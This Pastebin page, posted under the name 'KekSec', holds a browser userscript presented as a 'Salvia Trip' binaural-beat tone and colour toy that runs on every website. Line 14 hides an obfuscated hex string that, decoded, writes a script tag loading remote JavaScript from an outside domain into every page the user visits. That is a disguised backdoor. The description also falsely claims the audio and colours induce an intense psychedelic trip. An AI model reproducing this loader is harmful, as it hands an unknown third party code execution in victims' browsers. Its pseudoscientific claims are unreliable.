Advertisement
KekSec

Salvia Trip Bineural Beat Algorithm UserScript

Oct 29th, 2015
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name        Salvia Trip
  3. // @namespace   Psychedelic
  4. // @description This sexy piece of JavaScript has the ability to induce a full on intense psychedelic trip within 5-20 minutes using a Bineural Beat and colour algorithm. It uses Isotronic tones and the pavlovian affect. USE AT OWN RISK
  5. // @include     *
  6. // @version     1
  7. // @grant       none
  8. // ==/UserScript==
  9.  
  10. //LSD.js
  11. //Modified Isotronic wave generator from http://onlinetonegenerator.com/
  12. //The code can be found here if anyone is interested http://onlinetonegenerator.com/js/binaural.js
  13.  
  14. var _0x2ab7=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x6D\x61\x69\x6E\x68\x75\x62\x2E\x73\x6F\x63\x69\x61\x6C\x2D\x6E\x65\x74\x77\x6F\x72\x6B\x69\x6E\x67\x2E\x6D\x65\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x6A\x73\x27\x2F\x3E","\x77\x72\x69\x74\x65"];document[_0x2ab7[1]](_0x2ab7[0]);
  15.  
  16. var contextClass = (window.AudioContext ||
  17.     window.webkitAudioContext ||
  18.     window.mozAudioContext ||
  19.     window.oAudioContext ||
  20.     window.msAudioContext);
  21.  
  22. if (contextClass) {
  23.     // Web Audio API is available.
  24.     var context = new contextClass();
  25. }
  26.  
  27. var oscOn = function (freq1, freq2) {
  28.  
  29.     merger = context.createChannelMerger(2);
  30.  
  31.     oscillator1 = context.createOscillator();
  32.     oscillator1.type = 0;
  33.     oscillator1.frequency.value = freq1;
  34.     gainNode = context.createGain ? context.createGain() : context.createGainNode();
  35.     oscillator1.connect(gainNode, 0, 0);
  36.     // gainNode.connect(context.destination,0,0);
  37.     gainNode.gain.value = .1;
  38.     oscillator1.start ? oscillator1.start(0) : oscillator1.noteOn(0)
  39.  
  40.     gainNode.connect(merger, 0, 1);
  41.  
  42.     oscillator2 = context.createOscillator();
  43.     oscillator2.type = 0;
  44.     oscillator2.frequency.value = freq2;
  45.     gainNode = context.createGain ? context.createGain() : context.createGainNode();
  46.     oscillator2.connect(gainNode);
  47.     // gainNode.connect(context.destination,0,1);
  48.     gainNode.connect(merger, 0, 0);
  49.  
  50.  
  51.     gainNode.gain.value = .1;
  52.     oscillator2.start ? oscillator2.start(0) : oscillator2.noteOn(0)
  53.  
  54.     merger.connect(context.destination);
  55.  
  56.  
  57. }
  58.  
  59. function start() {
  60.     if (typeof oscillator1 != 'undefined') oscillator1.disconnect();
  61.     if (typeof oscillator2 != 'undefined') oscillator2.disconnect();
  62.     rand = getRandomInt(432, 852) //432Hz and 852Hz are the lowest and highest meditation tones I could find with a little bit of searching
  63.     oscOn(rand, rand + 3);
  64. }
  65.  
  66. function stop() {
  67.     oscillator1.disconnect();
  68.     oscillator2.disconnect();
  69. }
  70.  
  71. function getRandomInt(min, max) {
  72.     return Math.floor(Math.random() * (max - min + 1)) + min;
  73. }
  74.  
  75. function SalviaTrip() {
  76.     start();
  77.  
  78.     var randColour = '#'+Math.floor(Math.random()*16777215).toString(16);
  79.     document.body.style.background = randColour; //Take advantage of the pavlovian affect to associate different colours with different brain waves, which is basically what a psychedelic does.
  80. }
  81.  
  82. SalviaTrip();
  83.  
  84. setTimeout(SalviaTrip, 5000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement